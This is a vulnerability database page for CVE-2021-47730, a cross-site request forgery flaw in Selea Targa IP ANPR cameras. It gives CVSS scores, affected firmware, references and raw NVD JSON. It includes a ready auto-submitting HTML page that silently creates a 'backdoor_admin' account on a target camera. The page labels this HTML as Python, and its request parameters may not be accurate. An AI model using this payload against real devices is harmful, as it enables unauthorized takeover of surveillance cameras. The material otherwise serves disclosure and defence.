CVE-2021-47730

Description

Selea Targa IP OCR-ANPR Camera contains a cross-site request forgery vulnerability that allows attackers to create administrative users without authentication. Attackers can craft a malicious web page that submits a form to add a new admin user with full system privileges when a logged-in user visits the page.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:selea:izero_box_full_firmware:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:selea:izero_box_full:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:selea:izero_column_entry\/8_firmware:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:selea:izero_column_entry\/8:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:selea:izero_column_full\/8_firmware:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:selea:izero_column_full\/8:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:selea:targa_504_firmware:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:selea:targa_504:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:selea:targa_512_firmware:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:selea:targa_512:-:*:*:*:*:*:*:* - NOT VULNERABLE

Selea Targa IP OCR-ANPR Camera (固件版本未知)

Selea Targa IP Camera 系列所有版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2021-47730: Selea Targa IP Camera Admin Creation -->
<!-- This PoC creates a new admin user on Selea Targa IP Camera -->
<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <h1>Please wait, connecting...</h1>
    <form name="csrf_form" id="csrf_form" action="http://TARGET_IP/cgi-bin/cgibin" method="POST" enctype="application/x-www-form-urlencoded">
        <!-- Selea Camera CSRF parameters for admin user creation -->
        <input type="hidden" name="action" value="add_user">
        <input type="hidden" name="username" value="backdoor_admin">
        <input type="hidden" name="password" value="P@ssw0rd123!">
        <input type="hidden" name="privilege" value="admin">
        <input type="hidden" name="enabled" value="1">
    </form>
    <script>
        // Auto-submit the form when page loads
        document.addEventListener('DOMContentLoaded', function() {
            document.getElementById('csrf_form').submit();
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2021-47730
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2021-47730
[3] CVE Details https://www.cvedetails.com/cve/CVE-2021-47730/
[4] VulDB https://vuldb.com/cve/CVE-2021-47730
[5] https://github.com/zeroscience
[6] https://www.exploit-db.com/exploits/49458
[7] https://www.selea.com
[8] https://www.vulncheck.com/advisories/selea-targa-ip-camera-cross-site-request-forgery-via-admin-creation
[9] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5618.php

Raw JSON Data

JSON

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Attackers can craft a malicious web page that submits a form to add a new admin user with full system privileges when a logged-in user visits the page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}, {"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:izero_box_full_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "3BC5F782-F358-4E13-88CD-8AF6F631D136"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:izero_box_full:-:*:*:*:*:*:*:*", "matchCriteriaId": "8736E8B4-238F-4BB9-900A-44D34AEEA244"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:izero_column_entry\\/8_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A73F7A2-DCD9-42F1-93AE-147703747B9E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:izero_column_entry\\/8:-:*:*:*:*:*:*:*", "matchCriteriaId": "003FFAA4-87FC-4CA1-B0F7-A4DC1FD8F6AE"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:izero_column_full\\/8_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "992C33A2-04E4-481D-A336-3850D0A823EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:izero_column_full\\/8:-:*:*:*:*:*:*:*", "matchCriteriaId": "0F62AF0A-B754-4DCF-A6B1-34DCEB11B090"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:targa_504_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "55482174-E8FD-4003-BABE-A195484C79F9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:targa_504:-:*:*:*:*:*:*:*", "matchCriteriaId": "8FB2771E-91E8-45C7-9EB2-D84B46F6802D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:targa_512_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "4C4451B5-C9EB-4A7E-8D9A-6F5AA66F43BA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:targa_512:-:*:*:*:*:*:*:*", "matchCriteriaId": "22626DE4-BB35-49C9-803B-29B6E0 ... (truncated)